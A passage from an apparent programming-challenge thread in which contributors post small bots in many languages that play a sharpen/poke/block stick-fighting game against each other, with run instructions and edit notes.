defaultdict(lambda:defaultdict(lambda:0)) count = defaultdict(lambda:0) for i in range(1, turns): prev = me.actions[i-1], he.actions[i-1] now = me.actions[i] , he.actions[i] change[prev][now] += 1 count[prev] += 1 current = change[me.last, he.last] prediction = HALP if len(current) is 0: do(BLOCK) if len(current) is 1: if tuple(current.values())[0] > turns / 7: prediction = tuple(current.keys())[0][1] counts = itemgetter(1) if len(current) > 1: key1, value1 = max(current.items(), key=counts) current[key1] *= 0.9 key2, value2 = max(current.items(), key=counts) if key1 == key2: prediction = key1[1] react_on(prediction) ``` [Answer] # FancyTechnoAlgorithm A fancy techno algorithm for the fancy techno computer program. Caveman keep lose battle. Caveman angry. So caveman go to computer school learn make algorithm. ``` import random, sys # Need import some advanced techno code if __name__ == '__main__': # If fancy techno computer program is main try: # Me try use fancy techno algorithm! me, he = sys.argv[1].split(",") mePointy = me.count("S") - me.count("P") hePointy = he.count("S") - he.count("P") meCanPoke = mePointy > 0 heCanPoke = hePointy > 0 meHasSword = mePointy >= 5 heHasSword = hePointy >= 5 meScary = meCanPoke + meHasSword heScary = heCanPoke + heHasSword # Me donno fancy coding math algoritm. # Math confuse. Me code work, me happy. if he[-6:] == "SB"*3: print "SP"[meCanPoke] elif (len(he) > 30 and he[-3:].count("B") > 2) or \ (hePointy > 2 and he.count("SSBB") > 0 and he.count("BBS") > 0): if meHasSword: print "P" else: print "SB"[me[-1] == "S"] elif hePointy > 3 and he.count("BBS") > 2: print "SP"[me[-1] == "S"] else: print random.choice(\ [["S", "SP", "P" ],\ ["B", "B" , "P" ],\ ["S", "P" , "P" ]][heScary][meScary]) except: # Fancy techno algorithm Failed... Me just sharpen. print "S" ``` Python 2 program. To run: `python fancytechnoalgorithm.py` [Answer] **PeriodicalCicadaCaveman** This rather smart cave man has studied a certain [Bug](http://en.wikipedia.org/wiki/Periodical_cicadas) and realized no one can adjust their life style to take advantage of the prime number Cicada. It hides / blocks for most of it's life, but occasionally pokes. Sure it's vulnerable to Swords, and spends a whole cycle with an unsharpened stick, but sharpening your stick when it's totally blunt? That's exactly what the others expect from it... not this Cicada to compile: **mcs program.cs** to run **mono program.exe** ``` public class PeriodicalCicadaCaveman { const int Periodic = 13; //Could be 17 public static void Main(string[] args) { if (args.Length == 0) { System.Console.WriteLine("S"); return; } var arg1 = args[0]; if(arg1.Length == 0) { //Always start with a sharp stick System.Console.WriteLine("S"); return; } var myHistory = arg1.Split(',')[0]; var theirHistory = arg1.Split(',')[1]; int sharpness = 0; int timeElapsed = myHistory.Length; for(int i = 0; i < timeElapsed; i++) { if(myHistory[i] == 'S') { sharpness++; } if(myHistory[i] == 'P') { sharpness--; } } if((myHistory.Length % 13) == 0 || timeElapsed > 90 // Running out of time! To hell with the routine ) { //The Secada strikes! if(sharpness > 1) { System.Console.WriteLine("P"); return; } else { System.Console.WriteLine("S"); return; } } System.Console.WriteLine("B"); } } ``` Edit: Changed the sharpness-- code... if I poke either I win or my stick gets duller Edit2: Added in Bobs suggestion Edit: Changed to only poke when at sharpness 2, if the stick is ever at zero the other guy might make a sword. [Answer] ## The Watcher He watches his opponent's movements, always letting them show their hand before he strikes. He is particularly prepared for those who neglect to work toward a sword. ``` import sys, random if len(sys.argv) > 1: history_self, history_other = sys.argv[1].split(',') else: history_self = history_other = "" def sharpness(history): ret = 0 for action in history: if action == 'S': ret += 1 elif action == 'P' and ret > 0: ret -= 1 return ret def weighted_random(dict): i = random.randrange(sum(dict.values())) for k, v in dict.items(): i -= v if i < 0: return k def action(history_self, history_other): sharpness_self = sharpness(history_self) sharpness_other = sharpness(history_other) if sharpness_self >= 5: return 'P' elif sharpness_other == 0: return 'S' #Guaranteed safe elif sharpness_other == 1: #If the opponent isn't interested in a sword, time is on our side block_count = len(history_self) - len(history_self.rstrip('B')) if block_count > 3 and random.randrange(block_count) > 3: return 'S' else: return 'B' elif sharpness_other >= 5: return 'S' else: #Search for a weakness for i in range(10, 2, -1): if history_other[-i:] == history_other[-i*2:-i]: predicted_action = history_other[-i] if predicted_action == 'S': if sharpness_self > 0: return 'P' else: return 'S' elif predicted_action == 'B': return 'S' elif predicted_action == 'P': return 'B' #Presumably the opponent is random - respond with some educated randomness if sharpness_self == 0: return random.choice(['S','S','B']) return weighted_random({ 'S': sharpness_self, 'B': 1, 'P': sharpness_other, }) if __name__ == "__main__": print(action(history_self, history_other)) ``` Filename: `watcher.py` To run: `python watcher.py` ## Basilisk Seeks to destroy those who look at him too closely. Consistently beats the Watcher, but will probably fare worse overall. ``` import sys, random if len(sys.argv) > 1: history_self, history_other = sys.argv[1].split(',') else: history_self = history_other = "" def sharpness(history): ret = 0 for action in history: if action == 'S': ret += 1 elif action == 'P' and ret > 0: ret -= 1 return ret def action(history_self, history_other): sharpness_self = sharpness(history_self) sharpness_other = sharpness(history_other) if sharpness_self >= 5: return 'P' elif len(history_self) < 13: return 'SBBSBPSBBSBPP'[len(history_self)] elif 5 + 5 * sharpness_self < random.randrange(len(history_self)): return 'S' elif sharpness_other == 0: if sharpness_self == 0 or random.randrange(sharpness_self) == 0: return 'S' else: return 'P' elif sharpness_other == sharpness_self: return 'P' else: return 'B' if __name__ == "__main__": print(action(history_self, history_other)) ``` Filename: `basilisk.py` To run: `python basilisk.py` ## Nash Seeks to make his opponent's choices irrelevant, by choosing each move with a probability that accounts for its risks and rewards ``` import sys, random if len(sys.argv) > 1: history_self, history_other = sys.argv[1].split(',') else: history_self = history_other = "" movemap = [ [(1.000000,0.000000),(0.473863,0.526137),(0.394636,0.605364),(0.490512,0.509488),(1.000000,0.000000)], [(0.695328,0.000000,0.304672),(0.275953,0.582347,0.141700),(0.192635,0.700391,0.106974),(0.196343,0.689662,0.113995),(0.289968,0.544619,0.165413)], [(0.570635,0.000000,0.429365),(0.236734,0.570126,0.193139),(0.167197,0.687133,0.145670),(0.173139,0.667169,0.159693),(0.264911,0.475316,0.259773)], [(0.490512,0.000000,0.509488),(0.196309,0.578888,0.224803),(0.135744,0.692358,0.171898),(0.140638,0.663397,0.195965),(0.220709,0.426989,0.352302)], [(1.000000,0.000000,0.000000),(0.147944,0.636760,0.215296),(0.089478,0.737358,0.173165),(0.087259,0.704604,0.208137),(0.128691,0.435655,0.435655)] ] def sharpness(history): ret = 0 for action in history: if action == 'S': ret += 1 elif action == 'P' and ret > 0: ret -= 1 return ret def action(history_self, history_other): sharpness_self = sharpness(history_self) sharpness_other = sharpness(history_other) if sharpness_self >= 5: return 'P' elif sharpness_other >= 5: return 'S' moves = movemap[sharpness_self][sharpness_other] v = random.random() if v < moves[0]: return 'S' elif v < moves[0] + moves[1]: return 'B' else: return 'P' if __name__ == "__main__": print(action(history_self, history_other)) ``` This isn't quite the Nash equilibrium (my strategy generator has some instability), but it's close. For curiosity's sake, here are the estimates of how likely this bot is to win in each game state: ``` map = [ [0.50000000,0.26337111,0.15970733,0.08144046,0.00000000,0.00000000], [0.73662889,0.50000000,0.37879183,0.28035985,0.16622410,0.00000000], [0.84029267,0.62120817,0.50000000,0.39441630,0.26038353,0.00000000], [0.91855954,0.71964015,0.60558370,0.50000000,0.35246401,0.00000000], [1.00000000,0.83377590,0.73961647,0.64753599,0.50000000,0.00000000], [1.00000000,1.00000000,1.00000000,1.00000000,1.00000000,0.50000000] ] ``` Filename: `nash.py` To run: `python nash.py` ## Feint Opens with a quick attack, to test his opponent's defenses. ``` import sys, random if len(sys.argv) > 1: history_self, history_other = sys.argv[1].split(',') else: history_self = history_other = "" def sharpness(history): ret = 0 for action in history: if action == 'S': ret += 1 elif action == 'P' and ret > 0: ret -= 1 return ret def action(history_self, history_other): sharpness_self = sharpness(history_self) sharpness_other = sharpness(history_other) if sharpness_self >= 5: return 'P' elif len(history_self) < 2: return 'SP'[len(history_self)] elif history_other[1] == 'P': # Fierce fight if sharpness_self == 0: return 'S' elif history_self[-(1 + history_self.count('P'))] == 'S': return 'P' else: return 'B' else: # Smart guy if sharpness_other == 1: return 'B' elif history_self[-1] != 'S' or history_self[-4:] == 'BSBS': return 'S' elif history_other.count('S') > history_other.count('B'): return 'P' else: return 'B' if __name__ == "__main__": print(action(history_self, history_other)) ``` Filename: `feint.py` To run: `python feint.py` ## LatePokeBot PokeBot's little brother. Never shows weakness, but tries to fight like his big brother. ``` import sys, random if len(sys.argv) > 1: history_self, history_other = sys.argv[1].split(',') else: history_self = history_other = "" def sharpness(history): ret = 0 for action in history: if action == 'S': ret += 1 elif action == 'P' and ret > 0: ret -= 1 return ret def action(history_self, history_other): sharpness_self = sharpness(history_self) return 'SSP'[sharpness_self] if __name__ == "__main__": print(action(history_self, history_other)) ``` Filename: `latepokebot.py` To run: `python latepokebot.py` [Answer] # PokeBot Written in Ruby. ``` puts((ARGV.shift || "P,").match(/(.),/)[1] == "P" ? "S" : "P") ``` Run with `ruby pokebot.rb`. This bot isn't very smart; it does about what the average caveman would do on his own anyway. [Answer] # PatientWolf v2.0 Sharpens if dull, pokes if enemy will have a sword next turn or if enemy is dull, blocks otherwise. ``` my ($me,$him) = split(/,/,$ARGV[0]); if(!defined $me) { print "S"; exit; } my $mysharpness =()= ($me =~ /S/g); $mysharpness -= ($me =~ /P/g); my $opponentsharpness =()= ($him =~ /S/g); $opponentsharpness -= ($him =~ /P/g); if($mysharpness == 0) { print "S"; } elsif($opponentsharpness <= 0 || $opponentsharpness == 4) { print "P"; } else { print "B"; } ``` Run with ``` perl patientwolf.pl ``` EDIT: thanks to @sylwester for pointing out a bug [Answer] # **Binary Caveman** *Sharpen, Stab, Repeat* Based on the idea that blocking is for sissies, this caveman alternates between the two remaining options. ``` public class BinaryCaveman { public static void main(String[] args) { int timelapse = 0; if(args.length>0) { timelapse = ((args[0].length() - 1) / 2); } switch(timelapse % 2) { case 0: System.out.println('S'); break; case 1: System.out.println('P'); break; } } } ``` Compile with `javac BinaryCaveman.java` Run with `java BinaryCaveman` **EDIT:** Adventures in String Arrays..... args.length() throws an error. args.length always returns 1. args[0].length() returns the lengths of the first string in the array. **EDIT 2:** Updated thanks to help from Doorknob, Brilliand, and Sylwester. Thanks guys. [Answer] # CavekidBlocks A crying and frightened cave kid may look like an easy prey. Don't let his pretty face fool you 'cause he knows how to block. ``` import sys, math, random def count(a): s = 0 for i in range(len(a)): if a[i] == 'P': s-=1 elif a[i] == 'S': s+=1 if s < 0: s = 0 return s kid = [] scary_adult = [] what2do = 'Sharpen the Stick! Why not? Adult may be doing the same. DONT trust adults!' if len(sys.argv) > 1: kid, scary_adult = sys.argv[1].split(",") kid_stick_sharpness = count( kid ) scary_adult_stick_sharpness = count( scary_adult ) if (scary_adult_stick_sharpness >= 2): what2do = "Block! Block! Block! Adult's stick looks scary sharp." elif (kid_stick_sharpness > 0): what2do = 'Point your Stick to the adult. It may scary him.' else: what2do = 'Sharpen the Stick!' # Roll d20 for a courage check. dice = random.randint(1,20) if (dice > 15): what2do = 'Poke the adult! Critical Hit!' elif (dice <= 5): what2do = 'Block! Block! Block!' print(what2do[0]) ``` Run with `python3 cavekidblocks.py` # ChargerMan This caveman is very conservative. Will try to charge his weapon and only attacks when needed. ``` import sys, math, random def countSharpness(a): s = 0 for i in range(len(a)): if a[i] == 'P': s-=1 elif a[i] == 'S': s+=1 if s < 0: s = 0 return s def getHistory(): me = "" him = "" if len(sys.argv) > 1: me, him = sys.argv[1].split(",") return me,him if __name__ == '__main__': me, him = getHistory() me_s = countSharpness(me) him_s = countSharpness(him) answer = 'B' # First Case if (len(me) == 0): answer = 'S' # I have a sword elif (me_s == 5): answer = 'P' # Cant let he gets a sword elif (him_s == 4): answer = 'P' # His sword is dull elif (him_s == 0): # He may try to sharp # Cant attack? Sharp my stick if (me_s == 0): answer = 'S' else: if (random.randint(0,33) != 0): answer = 'S' else: answer = 'P' elif (len(him) % 5 == 0): # Decide what to do based on the # opponent last 3 movements. hist = him[-3:] # Does he like to block? if (hist.count('B') >= 2): answer = 'S' print(answer) ``` Run with `python3 chargerman.py` # Trickster Trickster doesn't know how to fight, so he tries to confuses other caveman. ``` import sys, math a = "PPS" i = 0 if (len(sys.argv) > 1): i = math.floor(((len(sys.argv[1])-1)/2) % 3) print(a[i]) ``` Run with `python3 trickster.py` Unfortunately, after the commit [acc74](https://github.com/KeyboardFire/caveman-duels/commit/acc7413b3df37dfabdea61d82ef8d78ada139290), Trickster doesnt work as planned anymore. [Answer] # Hodor Hodor is not very aggressive. He likes to stay in his shield unless there's a good opportunity to strike. compile with: `javac Hodor.java` and run with: `java Hodor` code: ``` public class Hodor { public static void main(String[] args){ String previousMoves = null; //account for no input if(args.length == 0){ System.out.print('S'); System.exit(0); }else{ previousMoves = args[0]; } //declare variables char action = 'S'; int enemySharpens = 0, enemyPokes = 0, myPokes = 0, mySharpens = 0; String[] movesArray = previousMoves.split(","); char[] enemyMoves = movesArray[1].toCharArray(), myMoves = movesArray[0].toCharArray(); //determine enemy sharpness for(int i=0; i<enemyMoves.length; i++){ if(enemyMoves[i] == 'S'){ enemySharpens++; }else if(enemyMoves[i] == 'P'){ enemyPokes++; } } //block if opponent can poke, else sharpen if(enemySharpens - enemyPokes > 0){ action = 'B'; }else{ action = 'S'; } //determine my sharpness for(int i=0; i<movesArray[0].length(); i++){ if(myMoves[i] == 'P'){ myPokes++; }else if(myMoves[i] == 'S'){ mySharpens++; } } //poke as much as possible if the game is about to end if((mySharpens-myPokes) > (100-enemyMoves.length)){ action = 'P'; } try{ //sharpen if opponent blocks 2 times in a row and I didn't just sharpen if((enemyMoves[enemyMoves.length-1] == 'B') && (enemyMoves[enemyMoves.length-2] == 'B') && (myMoves[myMoves.length-1] != 'S')){ action = 'S'; } //poke if opponent sharpens twice in a row if((enemyMoves[enemyMoves.length-1] == 'S') && (enemyMoves[enemyMoves.length-2] == 'S')){ action = 'P'; } //poke if the opponent just sharpened/blocked then poked, has a blunt stick, and my stick isn't blunt if((enemyMoves[enemyMoves.length-2] != 'P') && (enemyMoves[enemyMoves.length-1] == 'P') && (enemySharpens-enemyPokes == 0) && (mySharpens - myPokes > 0)){ action = 'P'; } }catch (ArrayIndexOutOfBoundsException e){ //not enough info } //poke if we have a sword if(mySharpens-myPokes > 4){ action = 'P'; } System.out.print(action); } } ``` Edit: minor code update [Answer] # Speculative Sylwester - Perl5 Speculative Sylwester wants to take out sword seekers by looking at the patterns and poke when there is a chance opponent will sharpen and sharpen when opponent is most likely to block. However, he will not do that if there is a chance that he would have guessed that himself will sharpen in the next move and we are even more cautious when we decide to sharpen. As for when opponent is blunt he tries to be aggressive but will eventually start to save for a sword when that seems fruitless. ``` #!/usr/bin/perl use strict; use warnings; use diagnostics; ## Valid operations my $SHARPEN = "S"; my $POKE = "P"; my $BLOCK = "B"; ## It will also print resolution to stderr my $VERBOSE = 0; my $first_move = not @ARGV; my ($me, $you) = split(',', $ARGV[0]) unless( $first_move ); ## What do I do? me_do($SHARPEN, "beginning") if $first_move; me_do($POKE, "end is near") if almost_over() || sword($me); me_do($SHARPEN, "you sword") if !sword($me) && sword($you); me_do($POKE, "you repeat") if consecutive_sharpens($you) && sharp($me); me_do(blunt_move(), "you blunt stick") if not sharp($you); me_do(aggressive_move(), "me think you sharpen") if sharpen_next($you) && !sharpen_next($me); me_do($SHARPEN, "me think you block") if you_block_next() && very_little_chance_me_sharpen_next(); me_do($BLOCK, "me have no idea you do"); sub almost_over { sharp($me) >= (100 - length($you)); } sub sharp { my $history = shift; my $sharp = 0; foreach my $s ( split('',$history) ) { $sharp++ if( $s eq "S"); $sharp-- if( $s eq "P" && $sharp > 0); } return $sharp; } sub sword { my $me = shift; sharp($me) >= 5; } sub num_pokes { my $me = shift; $me =~ s/[^P]//g; #/ SO highlight bug? length($me); } sub consecutive_sharpens { my $you = shift; $you =~ m/SS+$/ } sub sharpen_next { my $you = shift; $you =~ /([^S]+)S\1S\1$/; } sub you_block_next { $you =~ /([^B]+B*)B\1B\1$/ || $you =~ /B{4}$/; } sub very_little_chance_me_sharpen_next { $me !~ /S$/ && ( $me !~ /([^S]+)S\1$/ || $me =~ /^SB+SB+$/ ); } sub blunt_move { my $sword_move = sword($me) ? $POKE : $SHARPEN; ( $me =~ m/(?:PS){5,}/ || sharp($me)*7 < num_pokes($me) ? $sword_move : aggressive_move() ); } sub aggressive_move { sharp($me)? $POKE : $SHARPEN; } sub me_do { my ($stick_operation, $reason) = @_; my $arg = ( $first_move ? "" : "$me,$you" ); my $resolution = "$stick_operation me do because $reason ($arg)"; print "$resolution\n"; err($resolution); exit; } sub err { my($str) = @_; print STDERR "SpeculativeSylwester:$str\n" if $VERBOSE; } ``` To run on linux just add this in playerlist.txt: ``` perl players/SpeculativeSylwester/SpeculativeSylwester.pl ``` # Facile Fibonacci - R6RS Scheme Besides the first move Facile Fibonacci blocks when the turn is a [Fibonacci number](http://en.wikipedia.org/wiki/Fibonacci_number) (starting from 0) and fills the rest with `PPSS..` and changes when passes 8 to an endless sequence of `PSS` to win with a sword. ``` #!r6rs (import (rnrs base) (only (rnrs) fold-left display command-line)) (define %SHARPEN "S") (define %POKE "P") (define %BLOCK "B") (define (fibonacci? n) (let loop ((a 1) (b 1)) (cond ((> a n) #f) ((= a n) #t) (else (loop b (+ a b)))))) (define (poke? num-sp) (if (< num-sp 8) (even? (div num-sp 2)) (= 2 (mod num-sp 3)))) (define (split-string x) (let ((len (div (string-length x) 2))) (substring x 0 len))) (define (num-sp x) (fold-left (lambda (a x) (if (eqv? x #\B) a (+ a 1))) 0 (string->list x))) (define (advanced-strategy me) (cond ((fibonacci? (string-length me)) %BLOCK) ((poke? (num-sp me)) %POKE) (else %SHARPEN))) (define (decide args) (if (= (length args) 1) %SHARPEN (advanced-strategy (split-string (cadr args))))) ;; The dirty imperative code: (display (decide (command-line))) ``` To run just install ikarus with `apt-get install ikarus` and add this in playerlist.txt: ``` ikarus --r6rs-script players/FacileFibonacci/FacileFibonacci.scm ``` # Studious Sylwester - Perl5 Studious Sylwester uses the same tactic as Speculative Sylwester, but he also looks at previous games to determine where he might have taken a wrong choice. ``` #!/usr/bin/perl use strict; use warnings; use diagnostics; ## Valid operations my $SHARPEN = "S"; my $POKE = "P"; my $BLOCK = "B"; ## It will also print resolution to stderr my $VERBOSE = 0; my $path = $0; # "players/StudiousSylwester/StudiousSylwester.pl"; my $first_move = not @ARGV; my ($me, $you) = split(',', $ARGV[0]) unless( $first_move ); ## What do I do? me_do($SHARPEN, "beginning") if $first_move; me_do(consult_history($POKE, "end is near")) if almost_over() || sword($me); me_do(consult_history($SHARPEN, "you sword")) if sword($you); me_do(consult_history($POKE, "you repeat")) if consecutive_sharpens($you) && sharp($me); me_do(consult_history(blunt_move(), "you blunt stick")) if not sharp($you); me_do(consult_history(aggressive_move(), "me think you sharpen")) if sharpen_next($you) && !sharpen_next($me); me_do(consult_history($SHARPEN, "me think you block")) if you_block_next() && very_little_chance_me_sharpen_next(); me_do(consult_history($BLOCK, "me have no idea you do")); sub almost_over { sharp($me) >= (100 - length($you)); } sub sharp { my $history = shift; my $sharp = 0; foreach my $s ( split('', $history) ) { $sharp++ if( $s eq "S"); $sharp-- if( $s eq "P" && $sharp > 0); } return $sharp; } sub sword { my $me = shift; sharp($me) >= 5; } sub num_pokes { my $me = shift; $me =~ s/[^P]//g; #/ SO highlight bug? length($me); } sub consecutive_sharpens { my $you = shift; $you =~ m/SS+$/ } sub sharpen_next { my $you = shift; $you =~ /([^S]+)S\1S\1$/; } sub you_block_next { $you =~ /([^B]+B*)B\1B\1$/ || $you =~ /B{4}$/; } sub very_little_chance_me_sharpen_next { $me !~ /S$/ && ( $me !~ /([^S]+)S\1$/ || $me =~ /^SB+SB+$/ ); } sub blunt_move { my $sword_move = sword($me) ? $POKE : $SHARPEN; ( $me =~ m/(?:PS){5,}/ || sharp($me)*7 < num_pokes($me) ? $sword_move : aggressive_move() ); } sub aggressive_move { sharp($me)? $POKE : $SHARPEN; } sub consult_history { my ($suggested_move, $why) = @_; my $mylen = length($me); # By demanding 5 or more there are 81 (- illegals) # different possibilities. Below that and # we are shooting in the dark. return @_ if( $mylen <= 4 ); my $override = $suggested_move; my @lines = (); my %matches = (P => 0, B=> 0, S=> 0); my %match_prefix = (P => 0, B=> 0, S=> 0); my $file = "$path.prefix"; my $sem = "$path.sem"; my $found_session = 0; # Since Judge is running multiple instances at the same time we flock open(LOCK, "> $sem") || die ("$path error while open $sem: $!"); flock(LOCK, 2); if( -e $file ) { open(FH, $file) || die("$path: error while open $file: $!"); my $prevyou = substr($you,0,-1); while(my $ln = <FH>){ if ( $ln =~ m/^$me(.).*,$you(.?).*$/ ) { # Match that ends here is either a win or a loss depending on my choice my $key = ($2 eq "" ? ( $1 eq $POKE ? $SHARPEN : $POKE ) : $2); $matches{$key}++; $match_prefix{$1}++; } if( $ln =~ m/^$me,$prevyou$/ ) { $found_session++; next; } $found_session++ if( $ln =~ m/^$me.*,$prevyou.*$/ ); push @lines,$ln; } } my $num_matches = (grep { $matches{$_} != 0 } keys %matches); unless( $num_matches || $found_session || $mylen == 5 ) { err("WARNING: You have not started this game from the beginning. This will not be a valid outcome! ($me,$you)"); } if( $num_matches == 1 ) { my $match_val = (grep { $matches{$_} != 0 } keys %matches)[0]; if( $match_val eq $BLOCK && !sharp($me)) { $override = $SHARPEN; $why = "me know u block"; } elsif ( $match_val eq $SHARPEN ) { $override = aggressive_move(); $why = "me know u sharpen"; } elsif ( $match_val eq $POKE && !sword($me) ) { $override = $BLOCK; $why = "me know u poke"; } } elsif($num_matches > 1 && $mylen > 6 ) { # if the chances are overwelming we are not poked we might as well sharpen # if we are wrong here we loose if( $matches{$POKE} * 4 < ($matches{$BLOCK}+$matches{$SHARPEN}) && !sword($me)){ $override = $SHARPEN; $why = "me think u block/sharpen"; } # if chances for sharpening is higher than poke/block we go for it with any stick if( $matches{$SHARPEN} > 2*($matches{$BLOCK}+$matches{$POKE}) && sharp($me) ) { $override = $POKE; $why = "me think u sharpen"; } # if the chances for poke is overwelming, we might consider blocking if( $matches{$POKE} > 2*($matches{$BLOCK}+$matches{$SHARPEN}) && !sword($me)){ $override = $BLOCK; $why = "me think u poke"; } } unless ( $match_prefix{$override} ) { open( FH, "> $file") || die("$path: error while open $file: $!"); push @lines, "$me$override,$you\n"; foreach my $line ( sort @lines ) { print FH $line; } } my $stats = join("",map {"$_=>$matches{$_} "} keys %matches); if( $override ne $suggested_move ) { $why .= ". stats: $stats, original choice: $suggested_move"; } close FH; close LOCK; return ( $override, $why ); } sub me_do { my ($stick_operation, $reason) = @_; my $arg = ( $first_move ? "" : "$me,$you" ); my $resolution = "$stick_operation me do because $reason ($arg)"; print "$resolution\n"; err($resolution); exit; } sub err { my($str) = @_; print STDERR "StudiousSylwester:$str\n" if $VERBOSE; } ``` To run on linux just add this to playerlist.txt ``` perl players/StudiousSylwester/StudiousSylwester.pl ``` **Studious edit** I can't reproduce the problems you had with `$0` not being the full path to the perl script when it's run with perl. I have also pulled your changes and I see no changes in the CavemanDuels src and It's the same I've been running 20+ times without the problem you are reporting. I'm starting to fear you might have sourced the script as a bash script instead of running it while executable or as an argument to perl. I need more info to actually know for sure. As a test I did this and you can do the same to see if you get the same result: ``` echo '#!/usr/bin/perl print "$0\n\n";' > testcmd.pl; perl ./testcmd.pl; # outputs ./testcmd.pl bash -c "perl ./testcmd.pl"; # outputs ./testcmd.pl bash -c ./testcmd.pl; # outputs an error since it's not executable chmod 755 ./testcmd.pl; ./testcmd.pl; # outputs ./testcmd.pl bash -c ./testcmd.pl; # outputs ./testcmd.pl since it's executable ``` [Answer] # Swordsmith Need sharp stick. If have sharp stick, poke. Me no feel pain. ``` program Swordsmith implicit none integer :: mySharp,ierr,arg_count logical :: lExist character(38) :: filename = "players/Swordsmith/SwordsmithSharp.txt" ! check argument counts for initialization of storage file arg_count = command_argument_count() if(arg_count == 0) then inquire(file=filename,exist=lExist) mySharp = 0 if(lExist) then open(unit=10,file=filename,status='replace') else open(unit=10,file=filename,status='new') endif write(10,*) mySharp close(10) endif ! open, read, & close the file for mySharp open(unit=10,file=filename,status='old') read(10,*) mySharp close(10) ! make decision if(mySharp < 5) then print '(a1)',"S" open(unit=10,file=filename,status='replace') mySharp = mySharp + 1 write(10,*) mySharp stop endif print '(a1)',"P" end program Swordsmith ``` Save as `swordsmith.f90` and compile with `gfortran -o swordsmith swordsmith.f90`, execute as you would any normal executable: `./swordsmith`. [Answer] ## PatientBlacksmith This bot is written in R, use `Rscript PatientBlacksmith.R` to trigger it . ``` args <- commandArgs(TRUE) if(length(args)){ input <- strsplit(strsplit(args,split=",")[[1]],"") me <- input[[1]] opponent <- input[[2]] sharpness <- 0 for(i in seq_along(opponent)){ if(opponent[i]=="S") sharpness <- sharpness + 1 if(opponent[i]=="P") sharpness <- sharpness - 1 } out <- ifelse(sharpness>0,"B","S") bfree <- me[me!="B"] r <- rle(bfree) #run length encoding S_sequence <- r$length[r$value=="S"] P_sequence <- r$length[r$value=="P"] if(!length(P_sequence)) P_sequence <- 0 if(tail(S_sequence,1)==5 & tail(P_sequence,1)!=5) out <- "P" }else{out <- "S"} cat(out) ``` Measures the opponent stick sharpness: blocks when sharp, take time to sharpen otherwise. When own sharpness reaches 5, poke until sharpness is gone. [Answer] # Prison Rules, Haskell Cavewoman think caveman and other caveman should talk, share stick. But, hey ho, if must fight, fight prison rules. Find boss and attack. ViceLeader Alpha Caveman now; that who caveman must fight. Other cavemen fight later. If my caveman lose, no worry; he too hairy anyway. ``` import System.Environment -- Tell caveman next move next move | end with sharp stick = poke with (what have) | they no poky = sharpen stick | me have sword = poke with sword | soon them have sword = try poke or sharpen | soon have own sword = fear pokes | think them want sword = sharpen stick | getting bored now = sharpen stick | otherwise = block poky stick -- How fancy techno computer program know? where end with sharp stick = pokiness my stick >= moves before fight boring they no poky = pokiness their stick == 0 me have sword = pokiness my stick >= 5 soon "them" have sword = pokiness their stick == 4 soon have "own" sword = pokiness my stick == 4 try poke or sharpen = if pokiness my stick > 0 then poke with stick else sharpen stick fear pokes = count 2 (block poky stick) and (sharpen stick) think them want sword = pokiness their stick == 3 getting bored now = those last 2 mine same what have | me have sword = sword | otherwise = stick -- Rest not for caveman - only techno computer moves before time up = time - (length . fst $ move) and = my mine = my my = fst move their = snd move before = "before" bored = "bored" boring = "boring" have = "have" no = "no" now = "now" own = "own" pokes = "pokes" same = "same" sharp = "sharp" them = "them" want = "want" fight = 100 main = do movesHistoryEtc <- getArgs putStrLn . next . basedOn $ movesHistoryEtc basedOn = movesOfEachCaveman . history history [] = "" history (h:_) = h movesOfEachCaveman "" = ("", "") movesOfEachCaveman h = (\(a, b) -> (a, tail b)) . span (/= ',') $ h sharpened = 'S' poked = 'P' blocked = 'B' times m = length . filter (== m) with = "WITH" poky = "POKY" sword = "SWORD" stick = "STICK" sharpen stick = "SHARPEN " ++ stick block poky stick = "BLOCK " ++ poky ++ " " ++ stick poke with stick = "POKE " ++ with ++ " " ++ stick pokiness stick is = foldl countPokiness 0 stick countPokiness pokyPoints 'P' | pokyPoints > 0 = pokyPoints - 1 | otherwise = 0 countPokiness pokyPoints 'S' = pokyPoints + 1 countPokiness pokyPoints _ = pokyPoints allLast n x xs = all (== x) $ take n . reverse $ xs those previous n moves same = ((length moves) >= n) && (allLast n (last moves) moves) count n firstMoves moveHistory lastMove = if allLast n fm moveHistory then lastMove else firstMoves where fm = head firstMoves ``` Written in Haskell (go functional programming!), so save as *prisonrules.hs*, then compile with: ``` ghc prisonrules.hs ``` And run as: ``` prisonrules [history] ``` [Answer] # Deep Thoughts, C Caveman code. Caveman think. Caveman do. ``` // DeepThoughts.c #include <stdio.h> // Me need for plan #include <string.h> // Me need for memory // Me count sharps. If me still here, pokes no work int is_pointy(char *past){ int pointy = 0; // Stick dull while(*past){ switch(*past ++){ case 'S': pointy ++; break; case 'P': if(pointy > 0) pointy --; } } return pointy; } // Me brain int main(int argc, char *argv[]){ int me_pointy = 0; // Is 0, stick dull. Is 5, has sword int you_pointy = 0; // Same to you int me_last; // Me last plan int you_last; // Same to you char *you; // You past int when; // Time int me_plan; // Me deep thought // Me remember if(argc > 1){ you = strchr(argv[1], ','); // Me find you past in me arg *you ++ = 0; when = strlen(argv[1]); // Time is passing me_pointy = is_pointy(argv[1]); // Me look at me past you_pointy = is_pointy(you); // Same to you me_last = argv[1][when - 1]; // Why me do that? you_last = you[when - 1]; // Same to you } // Me has deep thoughts. Me make plan if(me_pointy >= 5) me_plan = 'P'; // Me has sword else if(you_pointy == 0) me_plan = 'S'; // Me safe. You stick dull else if(when == 1) me_plan = 'P'; // Me shoot first (more thought) else if(me_pointy == 1 && when < 42) me_plan = 'B'; // Me try for sharper (deeper thought) else if(me_pointy > 0) me_plan = 'P'; // Me stick not dull else if(me_last == 'P') me_plan = 'B'; // Me in trouble else me_plan = 'S'; // Me cross toes // Me do plan putchar(me_plan); return 0; } ``` Me do testing. More thoughts better. [Answer] I call him JavaMan ``` compile: javac JavaMan.java run: java JavaMan SPB,SBB ``` note: I don't intend to play code golf.. but if you are a golfer and the spaces / extra lines make your eyes bleed.. feel free to change it ``` public class JavaMan { public static void main(String[] args) { // input: SPB,SBB // me, enemy // S: sharpen, P: poke, B: block if (args.length == 0) { System.out.println("S"); } else { String[] states = args[0].split(","); Player me = new Player(states[0].toCharArray()); Player enemy = new Player(states[1].toCharArray()); //fixed thanks to Roy van Rijn if (me.hasSword()) { System.out.println("P"); } else if (!enemy.canPoke()) { if (me.canPoke() && (Math.random() * 95) < states[0].length()) { System.out.println("P"); } else { System.out.println("S"); } } else if (enemy.hasSword()) { if (me.canPoke()) { System.out.println("P"); } else { System.out.println("S"); } } else if (enemy.canPoke()) { if (me.canPoke()) { if ((Math.random() * 95) < states[0].length()) { System.out.println("P"); } else { 